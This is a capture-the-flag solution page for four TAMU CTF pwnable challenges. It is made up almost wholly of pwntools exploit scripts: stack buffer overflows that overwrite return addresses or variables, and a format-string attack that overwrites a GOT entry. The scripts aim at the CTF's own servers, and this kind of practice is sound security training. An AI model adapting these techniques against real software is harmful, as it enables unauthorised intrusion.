TAMU CTF - pwnable(1~4)

pwn 1 

from pwn import *
from time import *
 
context(arch='i386', os='linux')
r = remote('pwn.ctf.tamu.edu', 4322)
 
flag = 0xCA11AB1E
payload  = 'a'*0x1b
payload += p32(flag)
 
r.sendline(payload)
 
print r.recv(1024)
sleep(0.3)
 
 

pwn 2

from pwn import *
s = remote("pwn.ctf.tamu.edu",4321)
elf = ELF("./pwn2")
 
flag = 0x0804854B
 
payload  = "A"*140
payload += p32(flag)
 
s.sendline(payload)
print s.recv(1024)
 
 

pwn 3

from pwn import *
from time import *
 
s = remote("pwn.ctf.tamu.edu", 4323)
s = process('./pwn3')
 
exit_got = 0x804a01c
print_flag = 0x80485ab - 4
 
payload  = p32(exit_got)
payload += '%%%dx' % print_flag
payload += '%%%d$n' % 4
 
 
print s.recvuntil('Enter a word to be echoed:')
s.sendline(payload)
print s.recvuntil('This function has been deprecated')
 
flag = s.recv(1024)
print flag
 
# 3번은..그냥 (python ~~~ |cat --) | nc 로 해결.
# 익스 코드는 payload를 가지고 gdb 에서 검증.
 

pwn 4

from pwn import *
s = remote("web.ctf.tamu.edu",4324)
#s.recvuntil("I require an input:")
 
sys = 0x80484d9 # <flag_func+14>
flag = 0x0804A028 # string meun
 
payload  = "A"*16
payload += p32(sys)
payload += p32(flag)
 
s.sendline(payload)
print s.recv(1024)